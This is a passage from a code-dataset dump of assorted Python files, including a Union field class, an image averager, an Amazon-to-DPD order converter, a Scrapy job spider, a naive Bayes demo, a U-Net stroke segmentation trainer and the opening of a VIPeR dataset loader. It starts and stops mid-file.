self.__fieldstorage\n self.__fieldstorage = self.__mapping[newval](name = \"__contents__\", container = self)\n \n #new fields may throw out bytes.\n self.__fieldstorage.parsebytes(oldfield.bytes)\n else:\n self.__fieldstorage = self.__mapping[newval](name = \"__contents__\", container = self)\n \n self.__currenttag = newval\n\n def __getattribute__(self, name):\n if name.startswith(\"_Union\"):\n #psuedoprivate variables are accessed directly\n return super(Union, self).__getattribute__(name)\n elif name == \"__tag__\":\n #__tag__ is a special member\n self.__updatestate()\n return self.__tagstorage.core\n elif name == \"__contents__\":\n #__contents__ will give you the current tag\n self.__updatestate()\n if self.__fieldstorage.PRIMITIVE:\n return self.__fieldstorage.core\n else:\n return self.__fieldstorage\n elif name in self.__tagstorage.EXPORTEDVALUES.keys():\n #naming a field will let you access that field, regardless of the\n #current tag\n if name not in self.__reverseValues[self.__tag__]:\n #check if accessing this field would cause a field change, and\n #if so, change the tag.\n self.__tag__ = self.__mapping[name]\n return self.__contents__\n else:\n #User variable or class/user function\n return super(Union, self).__getattribute__(name)\n\n def __setattr__(self, name, val):\n if name.startswith(\"_Union\"):\n #psuedoprivates are specialcased to avoid recursion\n super(Union, self).__setattr__(name, val)\n elif name == \"__tag__\":\n #setting __tag__ forces the field to change\n self.__tagstorage.core = val\n self.__updatestate()\n elif name == \"__contents__\":\n self.__updatestate()\n\n try:\n if \"PRIMITIVE\" in val.__dict__.keys():\n self.__fieldstorage.core = val.core\n else:\n self.__fieldstorage.core = val\n except AttributeError:\n #Not a class, just do the direct storage method\n self.__fieldstorage.core = val\n elif name in self.__tagstorage.EXPORTEDVALUES.keys():\n tagvalue = self.__tagstorage.EXPORTEDVALUES[name]\n if self.__tag__ != tagvalue:\n self.__tag__ = tagvalue\n self.__contents__ = val\n else:\n super(Union, self).__setattr__(name, val)\n","sub_path":"rip_scripts/CodeModule/cmodel.py","file_name":"cmodel.py","file_ext":"py","file_size_in_byte":49619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"567372027","text":"import os\nimport cv2 as cv\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndir = 'D:\\Projects\\Oh\\data\\images\\silhouette\\silhouette'\nsub_dir_names = list()\nfor root, dirs, files in os.walk(dir, topdown=True):\n for name in dirs:\n sub_dir_names.append(name)\n\ntarget_file_names = {}\nfor dir_name in sub_dir_names:\n dir_path= os.path.join(dir, dir_name)\n file_paths = list()\n for file_name in os.listdir(dir_path):\n file_paths.append(os.path.join(dir_path, file_name))\n target_file_names[dir_name] = file_paths\n\n\npath = 'D:\\Projects\\Oh\\data\\images\\silhouette\\\\avg_silhouette_map'\nfor key, value in target_file_names.items():\n imgs = list()\n for file_path in value:\n img = cv.cvtColor(cv.imread(file_path), cv.COLOR_BGRA2GRAY)\n ret, img = cv.threshold(img, 1, 255, cv.THRESH_BINARY)\n img = cv.morphologyEx(img, cv.MORPH_OPEN, cv.getStructuringElement(cv.MORPH_RECT,(4,4)))\n img = img.astype(np.float32)/255\n imgs.append(img)\n\n avg_img = np.zeros(imgs[0].shape, dtype = np.float32)\n for img in imgs:\n avg_img += img\n avg_img /= len(imgs)\n avg_img *= 255\n avg_img = avg_img.astype(np.uint8)\n\n if len(imgs) == 1:\n avg_img = cv.erode(avg_img, cv.getStructuringElement(cv.MORPH_RECT, (30,30)))\n avg_img = cv.GaussianBlur(avg_img, ksize=(49,49), sigmaX=0)\n\n cv.imwrite(os.path.join(path, str(key)+'.png'), avg_img)\n\n","sub_path":"src/python_img/test_code/oh_avg_silhouette.py","file_name":"oh_avg_silhouette.py","file_ext":"py","file_size_in_byte":1420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"312013027","text":"# the docs for the format: https://docs.google.com/spreadsheets/d/1LGEnOfUu5PjuE42dMoEhIRve5rv3vNsBtk-8DWozwdg/edit?ts=5e322488#gid=870428257\n# https://docs.google.com/spreadsheets/d/1raDs8m-Yd_XOFskueqqcMcMxvR2KVhTJg6ILsQXBhnw/edit#gid=121665415\nimport codecs\nfrom datetime import datetime\nnow = datetime.now() # current date and time\n\n#check if the sting contains a number or not;\ndef hasNumbers(inputString): return any(char.isdigit() for char in inputString)\n\n\namazon_unshipped_file = \"20138290295018306.txt\"\n\nfile_stream = codecs.open(amazon_unshipped_file, 'r', 'utf-8')\npdp_file = codecs.open(\"20138290295018306.csv\", 'w', 'utf-16')\npdp_first_line = \"Anrede;Firma;Vorname;Nachname;Land;PLZ;Ort;Straße;Hausnummer;Referenz 1;Telefon;E-Mail;Adresszusatz;Bundesland;Inhalt;Gewicht;default;Referenz 2 \\n\"\npdp_file.write(pdp_first_line) # first write the first line into file:\n\ndef listToString(s):\n # initialize an empty string \n str1 = \" \"\n # return string \n return (str1.join(s))\n\n#https://docs.google.com/spreadsheets/d/1raDs8m-Yd_XOFskueqqcMcMxvR2KVhTJg6ILsQXBhnw/edit#gid=121665415 check here, you will see the mappings.\nsku_dpd_reference_pairs = {\n \"1000\":\"302008\",\n \"1001\":\"160012\",\n \"1002\":\"160007\",\n \"1003\":\"160011\",\n \"1004\":\"2020024\",\n \"1005\":\"270013\",\n \"1006\":\"heater\",\n \"1007\":\"BDZ-168\",\n \"1012\":\"700023\",\n \"1013\":\"270016+270004\",\n \"1014\":\"Trolley-008X/310002/FAMB008X\",\n \"1015-L\":\"302014\",\n \"1015-M\":\"302013\",\n \"1016\":\"302009\",\n \"1017\":\"302012\",\n \"1019-Basic\":\"700016\",\n \"1019-Pro\":\"302011\",\n \"1020-3S\":\"270039\",\n \"1020-5S\":\"270038+270039\",\n \"1021\":\"190038\",\n \"1022\":\"302002\",\n \"1023\":\"190031\",\n \"1024\":\"302010\",\n \"1025\":\"160013\",\n \"1026-Advance\":\"Boat-C\",\n \"1026-Basic\":\"Boat-A\",\n \"1026-Mini\":\"Boat-Mini\",\n \"1026-Pro\":\"Boat-D\",\n \"1027\":\"160019\",\n \"1028\":\"160004\",\n \"1029\":\"160010\",\n \"1030-270\":\"230002\",\n \"1030-290\":\"230003\",\n \"1031-180\":\"230004\",\n \"1031-235\":\"230001\",\n \"1032-Set\":\"210017-Set\",\n \"1032-Standard\":\"210017-Standard\",\n \"1032-Winterskin\":\"210017-Winterskin\",\n \"1033\":\"270036\",\n \"1034\":\"270038\",\n \"1035-Set\":\"210011-Set\",\n \"1035-Standard\":\"210011-Standard\",\n \"1035-Winterskin\":\"210011-Winterskin\",\n \"1036-Single\":\"260003\",\n \"1036-Double\":\"260004\",\n \"1037-Classic\":\"059NEW+DLeg\",\n \"1037-Comfort\":\"059AD(270001)\",\n \"1037-Comfort-Camouflage\":\"270005-Camo\",\n \"1037-Deluxe\":\"270006\",\n \"1038-Classic\":\"059NEW+DLeg\",\n \"1038-Comfort\":\"270001\",\n \"1038-Deluxe\":\"270012\",\n \"1039-Camouflage\":\"4000SK-Camo\",\n \"1039-Schwarz\":\"4000SK-Black\",\n \"1040-Camouflage\":\"6000sk-Camo\",\n \"1040-Schwarz\":\"6000sk-Black\",\n \"1041-R1\":\"Trolley-051-1W/310001/FAMB051\",\n \"1041-R2\":\"Trolley-051-2W/310003\",\n \"1041-R3\":\"Trolley-008X/310002/FAMB008X\",\n \"1042-001\":\"10 ft 2 teilig 2.75 lbs-Camo\",\n \"1042-002\":\"10 ft 2 teilig 2.75 lbs-Black\",\n \"1042-003\":\"10 ft 2 teilig 3 lbs-Camo\",\n \"1042-004\":\"10 ft 2 teilig 3 lbs-Black\",\n \"1042-005\":\"10 ft 3 teilig 2.75 lbs-Camo\",\n \"1042-006\":\"10 ft 3 teilig 2.75 lbs-Black\",\n \"1042-007\":\"10 ft 3 teilig 3 lbs-Camo\",\n \"1042-008\":\"10 ft 3 teilig 3 lbs-Black\",\n \"1042-009\":\"12 ft 3 teilig 3 lbs-Camo\",\n \"1042-010\":\"12 ft 3 teilig 3 lbs-Black\",\n \"1042-011\":\"12 ft 3 teilig 3.5 lbs-Camo\",\n \"1042-012\":\"12 ft 3 teilig 3.5 lbs-Black\",\n \"1043-LG\":\"FL-01-Green-Large\",\n \"1043-LS\":\"FL-01-Black-Large\",\n \"1043-MG\":\"FL-01-Green-Small\",\n \"1043-MS\":\"FL-01-Black-Small\",\n \"1044-Classic 696921\":\"270016\",\n \"1044-Comfort 736120\":\"270024\",\n \"1044-Comfort 746523\":\"270023\",\n \"1044-Comfort 786821\":\"270019\",\n \"1044-Deluxe 716521\":\"270031\",\n \"1044-Deluxe 736319\":\"270025\",\n \"1044-Transporttasche\":\"190035\",\n \"1045-PARENT\":\"270020\",\n \"2X-KD4H-M022\":\"FA214-4+4SW02\",\n \"AP-978G-XXFK\":\"270005\",\n \"C9-KRTX-RO2C\":\"270025\",\n \"JX-9LRX-UUZA\":\"FA02-4\",\n \"YS-RMGJ-0IZT\":\"270025\",\n \"210014\":\"210014\"\n}\n\ni = 0\nfor l in file_stream:\n i=i+1\n if (i==1): # not need the first line\n None\n else:\n list_from_amzon = l.split(\"\\t\")\n recipient_name = list_from_amzon[16]\n ship_address_1 = list_from_amzon[17]\n ship_address_2 = list_from_amzon[18]\n ship_address_3 = list_from_amzon[19]\n ship_postal_code =list_from_amzon[22]\n ship_city =list_from_amzon[20]\n ship_country =list_from_amzon[23].replace(\"\\r\\n\", \"\") # remove the enter \n buyer_phone_number =list_from_amzon[9]\n buyer_email =list_from_amzon[7]\n buyer_name =list_from_amzon[8]\n sku=list_from_amzon[10]\n order_id=list_from_amzon[0]\n dpd_reference = sku_dpd_reference_pairs.get(sku, \"Not Find. please check photo with this amazon_order_id = {}, sku = {}\".format(order_id, sku))\n product_name = list_from_amzon[11]\n # print(dpd_reference)\n # print(product_name)\n # print(recipient_name)\n # print(ship_address_1)\n # print(ship_postal_code)\n # print(ship_city)\n # print(ship_country)\n # print(buyer_phone_number)\n # print(buyer_email)\n\n name = recipient_name#\"Denis Potemin-2\"\n Firm = \"\" #if(hasNumbers(ship_address_1)) else ship_address_1 # if the address do not have number, then it is the company.\n Hausnummer = ship_address_1.split(' ')[-1] #if(hasNumbers(ship_address_1)) else ship_address_1 # if the address do not have number, then it is the company.\n address_1 = listToString(ship_address_1.split(' ')[:-1]) #if(hasNumbers(ship_address_1)) else ship_address_1 # if the address do not have number, then it is the company.\n strasse = (address_1+\" \"+ship_address_2+\" \"+ship_address_3) #if(hasNumbers(ship_address_1)) else (ship_address_2+\" \"+ship_address_3)\n PLZ = ship_postal_code #\"95336\"\n Ort = ship_city #\"Mainleus\"\n Land = ship_country#\"DEU\"\n Telefon=buyer_phone_number #\"015226395381019-Basic9\"\n E_Mail= buyer_email #\"fischenundmehr@gmail.com\"\n reference2 = order_id # before it is the `buyer_name` ,now it is the Referenz 2: in the 面单.\n Referenz = dpd_reference #this is the Referenz 1: in the 面单.\n Inhalt = \"\"#product_name\n Versanddatum =now.strftime(\"%d.%m.%Y %H:%M:%S\")\n if(sku ==\"1013\"): #1013\t046+021\t(这个需要两个面单,同一个人两个货)\n dataFirstLine = \";{};{};;{};{};{};{};{};{};{};{};;;{};;;{}; \\n\".format(Firm, name, Land, PLZ, Ort, strasse, Hausnummer, \"270016\", Telefon, E_Mail, Inhalt, reference2)\n pdp_file.write(dataFirstLine)\n dataFirstLine = \";{};{};;{};{};{};{};{};{};{};{};;;{};;;{}; \\n\".format(Firm, name, Land, PLZ, Ort, strasse, Hausnummer, \"270004\", Telefon, E_Mail, Inhalt, reference2)\n pdp_file.write(dataFirstLine)\n else: \n dataFirstLine = \";{};{};;{};{};{};{};{};{};{};{};;;{};;;{}; \\n\".format(Firm, name, Land, PLZ, Ort, strasse, Hausnummer, Referenz, Telefon, E_Mail, Inhalt, reference2)\n pdp_file.write(dataFirstLine)\n\nfile_stream.close()\npdp_file.close()","sub_path":"CarptourDe/changeAmazonToDpdOrders.py","file_name":"changeAmazonToDpdOrders.py","file_ext":"py","file_size_in_byte":7113,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"245848070","text":"from django.db.models.signals import post_save\nfrom django.dispatch import receiver\n\nfrom apps.telegram_bot.tasks import upload_file\nfrom .models import CampaignUser, CampaignFile\nfrom .tasks import send_paid_push\n\n\n@receiver(post_save, sender=CampaignFile)\ndef upload_save_file_id(sender, instance, created, **kwargs):\n if not instance.telegram_file_hash:\n upload_file.apply_async(args=[instance.id], countdown=1)\n\n\n@receiver(post_save, sender=CampaignUser)\ndef paid_push_notification(sender, instance, created, **kwargs):\n if not created and instance.has_receipt_date_changed():\n send_paid_push.delay(\n instance.user.user_id,\n instance.agent.bot_token,\n instance.campaign.title,\n instance.push_channels_context()\n )\n","sub_path":"apps/telegram_adv/signals.py","file_name":"signals.py","file_ext":"py","file_size_in_byte":789,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"343612081","text":"import os\nimport string\nimport unicodedata\nimport pandas as pd\nfrom multiprocessing import Pool\n\nfrom bidi.algorithm import get_display\nfrom arabic_reshaper import arabic_reshaper\nfrom nltk.tag.stanford import StanfordPOSTagger\n\nroot = \"C:/Users/arian.milanian/Documents\"\nos.environ['JAVAHOME'] = \"{}/JRE8/bin\".format(root)\n\ndef reshape_arabic(text):\n text = arabic_reshaper.reshape(text)\n text = get_display(arabic_reshaper.reshape(text))\n return text\n\ndef get_tags(chunk):\n lang, words = list(chunk.items())[0]\n models = {\"english\": \"english-bidirectional-distsim.tagger\", \"arabic\": \"arabic.tagger\" }\n tagger = StanfordPOSTagger(\"{}/stanford-pos/models/{}\".format(root, models[lang]),\n \"{}/stanford-pos/stanford-postagger.jar\".format(root), encoding=\"utf-8\")\n return [tag[1].rsplit(\"/\",1) for tag in tagger.tag(words)]\n \ndef is_arabic(word):\n word = word.translate(str.maketrans(\"\",\"\",string.punctuation))\n return \"ARABIC\" in unicodedata.name(word[0]) if word else False\n \ndef iter_chunks(words, lang, n):\n return [{lang: words[i:i+n]} for i in range(0, len(words), n)]\n \nif __name__ == \"__main__\":\n data = pd.read_csv(\"../output/small.csv\", encoding=\"utf-8\")\n tweets = data[\"norm.body\"].tolist()\n wordmap = {\"arabic\":[], \"english\":[]}\n for word in set(\"\".join(tweets).split()):\n wordmap[\"arabic\" if is_arabic(word) else \"english\"].append(word)\n for lang, words in wordmap.items():\n tags = Pool().map(get_tags, iter_chunks(words, lang, 2500))\n open(\"../output/{}-tags.txt\".format(lang), \"w\", encoding=\"utf-8\").write(\",\".join([\"{} {}\".format(x, y) for tag in tags for x, y in tag]))\n break\n","sub_path":"notebooks/arabic_pos_tagger.py","file_name":"arabic_pos_tagger.py","file_ext":"py","file_size_in_byte":1725,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"152430368","text":"\"\"\"This file is a Beeline spider created on top of the ATSSpider\nscrapy crawl beeline -a mining_job_id=9999 -a iteration=1 -a extract=1 -a url=\"http://www.beeline-group.com/en/careers/job_vacancies.html\"\n\nsample url:\n http://www.beeline-group.com/en/careers/job_vacancies.html\n\"\"\"\n\nfrom urlparse import urljoin\nfrom re import compile\n\nfrom scrapy.http import FormRequest\nfrom scrapy.selector import Selector\n\nfrom brightcorp.base.atsspiders import ATSSpider\nfrom brightcorp.items import BrightcorpItemLoader\nfrom brightcorp.processors import Prefix, NormalizedJoin\n\n\nclass Beeline(ATSSpider):\n\n name = 'beeline'\n num_re = compile(r\"(\\d+)\")\n headers = {\n 'X-Requested-With': 'XMLHttpRequest',\n 'Content-Type': 'application/x-www-form-urlencoded',\n }\n\n def parse(self, response):\n sel = Selector(response)\n if not hasattr(self, 'logo_url'):\n logo_url = sel.xpath('//img[@id=\"logo\"]/@src').extract()\n self.logo_url = urljoin(response.url, logo_url[0]) if logo_url else ''\n\n countries = sel.xpath(\n '//ul[@id=\"selFilterCountry_list\"]/li'\n )\n for coun in countries:\n country_id = coun.xpath('./@onclick').re(self.num_re)\n if country_id:\n yield FormRequest(\n response.url, callback=self.parse_jobs_list,\n formdata={\n 'type': '4',\n 'act': 'getJobList',\n 'country': '%s' % country_id[0],\n },\n headers=self.headers,\n meta={\n 'country': coun.xpath('./text()').extract(),\n 'country_id': country_id[0],\n }\n )\n\n def parse_jobs_list(self, response):\n sel = Selector(response)\n jobs = sel.xpath('//div[@id=\"joblistjobs\"]/div')\n for job in jobs:\n job_id = job.xpath('./@id').re(self.num_re)\n if job_id:\n meta = {\n 'title': job.xpath(\n './/div[@class=\"col col0\"]/text()'\n ).extract(),\n 'jobtype': job.xpath(\n './/div[@class=\"col col2\"]/text()'\n ).extract(),\n 'location': job.xpath(\n './/div[@class=\"col col3\"]/text()'\n ).extract() + response.meta.get('country'),\n 'ref_num': job_id[0],\n 'url': self.start_urls[0] + '?job=%s' % job_id[0]\n }\n yield FormRequest(\n response.url, callback=self.parse_job_callback(),\n formdata={\n 'type': '4',\n 'act': 'getJobDetail',\n 'country': '%s' % response.meta.get('country_id'),\n 'job': '%s' % job_id[0],\n },\n meta=meta\n )\n\n def parse_job(self, response):\n loader = BrightcorpItemLoader(response=response)\n loader.add_value('logo_url', self.logo_url)\n loader.add_value('url', response.meta.get('url'))\n loader.add_value('title', response.meta.get('title'))\n loader.add_value('jobtype', response.meta.get('jobtype'))\n loader.add_value(\n 'location', response.meta.get('location'), NormalizedJoin(\", \")\n )\n loader.add_value(\n 'referencenumber', response.meta.get('ref_num'),\n Prefix('%s-' % self.name)\n )\n loader.add_xpath('description', '//div[@class=\"jobform\"]')\n yield loader.load_item()\n","sub_path":"brightcorp/brightcorp/spiders/beeline.py","file_name":"beeline.py","file_ext":"py","file_size_in_byte":3742,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"431949292","text":"import math\n\nimport numpy as np\n\nprint(\"Naive Bayes Classificator for male/female classification\")\nprint(\"See https://en.wikipedia.org/wiki/Naive_Bayes_classifier#Sex_classification for details.\")\n\n# arguments\n\nprior_m = 0.5\nprior_f = 1 - prior_m\n\n\ndef get_gaussian_probability(x: float, mean: float, sigma_square: float) -> float:\n return (1 / (math.sqrt(2 * math.pi * sigma_square))) * math.exp(-1 * (pow(x - mean, 2) / (2 * sigma_square)))\n\n\ndef get_posterior_probability(prior: float, sample: np.ndarray, means: np.ndarray, variances: np.ndarray):\n # because each feature is conditionally independent of all other features,\n # the posterior probability for the class equals to the product of all feature probabilities\n\n prob = prior\n\n for f_i in range(sample.size):\n prob *= get_gaussian_probability(sample.item(f_i), means.item(f_i), variances.item(f_i))\n\n return prob\n\n\ndef get_variances(c: np.ndarray, means: np.ndarray) -> np.ndarray:\n x_i_squares = np.multiply(1.0 / len(c), np.sum(np.multiply(c, c), axis=0))\n return np.subtract(x_i_squares, np.multiply(means, means))\n\n\ndef get_means(c: np.ndarray) -> np.ndarray:\n return np.multiply(1.0 / len(c), np.sum(c, axis=0))\n\n\n# data\n\nsamples = np.matrix(([6, 180, 12], [5.92, 190, 11],\n [5.58, 170, 12], [5.92, 165, 10],\n [5, 100, 6], [5.5, 150, 8],\n [5.42, 130, 7], [5.75, 150, 9]))\n\nsamples_m = samples[:4]\nsamples_f = samples[4:]\n\n# ~ training by learning means and variances for each class\n\nmale_means = get_means(samples_m)\nfemale_means = get_means(samples_f)\n\nmale_variances = get_variances(samples_m, male_means)\nfemale_variances = get_variances(samples_f, female_means)\n\nprint(\"P(male)={}\".format(prior_m))\nprint(\"P(female)={}\".format(prior_f))\n\nprint(\"Male means for each feature: {}\".format(male_means))\nprint(\"Female means for each feature: {}\".format(female_means))\n\nprint(\"Male variances for each feature: {}\".format(male_variances))\nprint(\"Female variances for each feature: {}\".format(female_variances))\n\n# classification of unknown sample\n\nvalidation_sample = np.matrix([[6, 130, 8]])\n\nposterior_male = get_posterior_probability(prior_m, validation_sample, male_means, male_variances)\nposterior_female = get_posterior_probability(prior_f, validation_sample, female_means, female_variances)\n\nprint(\"P(x|male)= {}\".format(posterior_male))\nprint(\"P(x|female)={}\".format(posterior_female))\n\nif posterior_male > posterior_female:\n print(\"x should be classified as male\")\nelif posterior_female > posterior_male:\n print(\"x should be classified as female\")\nelse:\n print(\"the probability for each class is equal\")","sub_path":"naive_bayes.py","file_name":"naive_bayes.py","file_ext":"py","file_size_in_byte":2677,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"501195943","text":"# -*- coding:utf-8 -*-\r\nfrom selenium import webdriver\r\nfrom email.mime.image import MIMEImage\r\nimport datetime\r\nimport os\r\nimport send_email\r\nimport send_dooray\r\nimport datetime\r\n\r\n\r\ndef go():\r\n\r\n\t#===================================================#\r\n\t#메일에 들어갈 내용\r\n\tmail_body = {}\r\n\tabort_date = \"N\"\r\n\tabort_thing = \"N\"\r\n\tabort_why = \"N\"\r\n\r\n\t#오늘날짜\r\n\ttoday = datetime.datetime.now()\r\n\t#===================================================#\r\n\r\n\tdriver = webdriver.Chrome()\r\n\tdriver.get(\"https://www.safedriving.or.kr/main.do\")\r\n\r\n\t#화면 최대화\r\n\tdriver.maximize_window()\r\n\r\n\t#스크린샷\r\n\tfilename = os.getcwd() + \"/todayscreen\" + \".png\"\r\n\tshot = driver.get_screenshot_as_file(filename)\r\n\r\n\t#MIMEImage로 변환 \r\n\tfp = open(filename, 'rb')\r\n\tcontext = fp.read()\r\n\timg = MIMEImage(context)\r\n\tcontext = str(context)\r\n\tfp.close()\r\n\r\n\tis_write = True\r\n\t#이전 시간에 보냈는지 확인\r\n\twith open('safedriving.txt', mode='a+', encoding='utf8') as title_file:\r\n\t\ttitle_file.seek(0)\r\n\t\ttempline = title_file.read()\r\n\t\t#파일에 내용이 없으면 False\r\n\t\tif not templine: \r\n\t\t\tis_write = False\r\n\t\t#기존에 읽었으면 True\r\n\t\tif( context == templine):\r\n\t\t\tis_write = True\r\n\t\t\t\t\r\n\tif is_write is False : \r\n\t\twith open('safedriving.txt', mode='w', encoding='utf8') as title_file:\r\n\t\t\ttitle_file.write(context)\r\n\t\tsend_email.send(\"도로교통공단 안전운전 통합민원\",dict=[], attach_img=img)\r\n\r\n\tdriver.quit()","sub_path":"FlyHigh_Personal_Project_ParkSeHwan/safedriving.py","file_name":"safedriving.py","file_ext":"py","file_size_in_byte":1453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"245066347","text":"#################### IMPORTS #################### \nimport numpy as np \nimport os\nimport skimage.io as io\nimport skimage.transform as trans\nfrom keras.models import *\nfrom keras.layers import *\nfrom keras.optimizers import *\nfrom keras.callbacks import ModelCheckpoint, LearningRateScheduler\nfrom keras import backend as keras\n\nimport utils\nimport ni_utils\n\n# from focal_loss.losses import *\n# import dill\n\nfrom deep_learning.DataGeneratorClass import *\nfrom deep_learning.base_networks import *\n# from deep_learning.parameters import *\nfrom deep_learning.inception_networks import *\nfrom deep_learning.residualAttentionNetworkModels import *\nfrom deep_learning.loss_functions import quantile_loss\nfrom keras.constraints import NonNeg\n\nfrom dunet_model import *\n\nimport tensorflow as tf\nfrom keras.backend.tensorflow_backend import set_session\nfrom keras.losses import categorical_hinge, hinge, squared_hinge, hinge, binary_crossentropy\nfrom CLR.clr_callback import *\n\n#Set up GPU environment\nos.environ[\"CUDA_DEVICE_ORDER\"]=\"PCI_BUS_ID\"\nos.environ[\"CUDA_VISIBLE_DEVICES\"]= \"4\"\n\nconfig = tf.compat.v1.ConfigProto()\nconfig.gpu_options.allow_growth = True\nconfig.gpu_options.per_process_gpu_memory_fraction = 1\n\n\n#################### LOSSES ####################\n#Losses taken from https://lars76.github.io/neural-networks/object-detection/losses-for-segmentation/\ndef dice_loss(y_true, y_pred):\n numerator = 2 * tf.reduce_sum(y_true * y_pred, axis=(1,2,3))\n denominator = tf.reduce_sum(y_true + y_pred, axis=(1,2,3))\n\n return 1 - numerator / denominator\n\ndef loss(y_true, y_pred):\n def dice_loss(y_true, y_pred):\n numerator = 2 * tf.reduce_sum(y_true * y_pred, axis=(1,2,3))\n denominator = tf.reduce_sum(y_true + y_pred, axis=(1,2,3))\n\n return tf.reshape(1 - numerator / denominator, (-1, 1, 1))\n\n return binary_crossentropy(y_true, y_pred) + dice_loss(y_true, y_pred)\n\n#################### PARAMETERS AND DIRECTORIES ####################\n#Parameters\ntrain_params_multiclass = {'normalize': False,\n 'batch_size': 16,\n 'n_classes': 1,\n 'n_channels': 1,\n 'shuffle': True}\n\n#Directories\nBASE_DIR = '/nfsshare/gianca-group/dpena3/active_learning/ATLAS_feb2020'\nDATA_DIR = ''\nPERCENT_FOLDER = 'test5'\ndataDir = BASE_DIR + '/pre-processing/data_model-ready/' + DATA_DIR\nimgDir = dataDir\n\n#Dataframe\nfileIn = '../pre-processing/ATLAS_stroke_labels_20200122.csv'\n# fileIn = '../pre-processing/ATLAS_stroke_regression_20200223.csv' #has lesion areas in it\n\n#################### DATAFRAMES ####################\nxlsFilepath = fileIn\npatFr = ni_utils.loadSubjGt(fileIn, 'stroke_ct') \npatFr = patFr[patFr['labels'] == 1][:600] #get only stroke\n# patFr = patFr[patFr[patFr['label'] == 1]['lesion_area'].values > 1500] #get only large strokes\npatIDList = patFr['filename'].tolist()\npatFr_labels = patFr['labels'].tolist()\n\nprint('Number of subjects', len(patIDList))\n\n#################### MODEL INPUTS ####################\n#Imput image\n# input_dim = (192, 192, 1) #regular unet\ninput_dim = (192, 192, 4) #dunet\n\ninput_dim_for_data_gen = input_dim\n\n#Generator\ntrain_generator = DataGenerator_stroke_d_unet(patIDList,\n '',\n data_dir=dataDir,\n xls_filepath = xlsFilepath,\n dim=input_dim_for_data_gen,\n **train_params_multiclass)\n#Regular unet DataGenerator_stroke_unet\n#DUNET DataGenerator_stroke_d_unet\n\n#Model\nmodel = Unet3d()\nmodel.compile(optimizer = Adam(lr = 1e-5), loss = dice_loss, metrics = ['accuracy'])\nprint(model.summary())\nnEpochs = 30\n\n#D_Unet\n#Unet_origin\n#Unet3d\n\n#Model saving directory\nnetwork_model_dir = BASE_DIR + '/model/saved_models/'\nFILEPATH_MODEL = \"multiclass_weights_siamese_merge_L1_inception\" + \".hdf5\"\nFILEPATH_MODEL = os.path.join(network_model_dir, PERCENT_FOLDER, FILEPATH_MODEL)\n\nfinal_folder_path = os.path.join(network_model_dir, PERCENT_FOLDER)\nif not os.path.exists(final_folder_path):\n os.makedirs(final_folder_path)\n\n#Callbacks\ncallbacks_list = [ModelCheckpoint(FILEPATH_MODEL,\n monitor='loss',\n verbose=1,\n save_best_only=True,\n mode='auto')]\n\n#################### TRAIN ####################\n#Train\nmodel.fit_generator(generator=train_generator,\n verbose=1,\n epochs=nEpochs,\n callbacks=callbacks_list,\n use_multiprocessing=False,\n workers=4)","sub_path":"flask_unet/unet/stroke_segmentation.py","file_name":"stroke_segmentation.py","file_ext":"py","file_size_in_byte":4549,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"174765898","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nimport os\nimport glob\nimport re\nimport sys\nimport urllib\nimport tarfile\nimport zipfile\nimport os.path as osp\nfrom scipy.io import loadmat\nimport numpy as np\nimport h5py\nfrom scipy.misc import imsave\n\nfrom torchreid.utils.iotools import mkdir_if_missing, write_json, read_json\n\n\nclass VIPeR(object):\n \"\"\"\n VIPeR\n\n Reference:\n Gray et al. Evaluating appearance models for recognition, reacquisition, and tracking. PETS 2007.\n\n URL: https://vision.soe.ucsc.edu/node/178\n \n Dataset statistics:\n # identities: 632\n # images: 632 x 2 = 1264\n # cameras: 2\n \"\"\"\n dataset_dir = 'viper'\n\n def __init__(self, root='data', split_id=0, verbose=True, **kwargs):\n super(VIPeR, self).__init__()\n self.dataset_dir = osp.join(root, self.dataset_dir)\n self.dataset_url = 'http://users.soe.ucsc.edu/~manduchi/VIPeR.v1.0.zip'\n self.cam_a_path = osp.join(self.dataset_dir, 'VIPeR', 'cam_a')\n self.cam_b_path = osp.join(self.dataset_dir, 'VIPeR', 'cam_b')\n self.split_path = osp.join(self.dataset_dir, 'splits.json')\n\n self._download_data()\n self._check_before_run()\n \n self._prepare_split()\n splits = read_json(self.split_path)\n if split_id >= len(splits):\n raise ValueError(\"split_id exceeds range, received {}, but expected between 0 and {}\".format(split_id, len(splits)-1))\n split = splits[split_id]\n\n train = split['train']\n query = split['query'] # query and gallery share the same images\n gallery = split['gallery']\n\n train = [tuple(item) for item in train]\n query = [tuple(item) for item in query]\n gallery = [tuple(item) for item in gallery]\n \n num_train_pids = split['num_train_pids']\n num_query_pids = split['num_query_pids']\n num_gallery_pids = split['num_gallery_pids']\n \n num_train_imgs = len(train)\n num_query_imgs = len(query)\n num_gallery_imgs = len(gallery)\n\n num_total_pids = num_train_pids + num_query_pids\n num_total_imgs = num_train_imgs + num_query_imgs\n\n if verbose:\n print(\"=> VIPeR loaded\")\n print(\"Dataset statistics:\")\n print(\" ------------------------------\")\n print(\" subset | # ids | # images\")\n print(\" ------------------------------\")\n print(\" train | {:5d} | {:8d}\".format(num_train_pids, num_train_imgs))\n print(\" query | {:5d} | {:8d}\".format(num_query_pids, num_query_imgs))\n print(\" gallery | {:5d} | {:8d}\".format(num_gallery_pids, num_gallery_imgs))\n print(\" ------------------------------\")\n print(\" total | {:5d} | {:8d}\".format(num_total_pids, num_total_imgs))\n print(\" ------------------------------\")\n\n self.train = train\n self.query = query\n self.gallery = gallery\n\n self.num_train_pids = num_train_pids\n self.num_query_pids = num_query_pids\n self.num_gallery_pids = num_gallery_pids\n\n def _download_data(self):\n if osp.exists(self.dataset_dir):\n print(\"This dataset has been downloaded.\")\n return\n\n 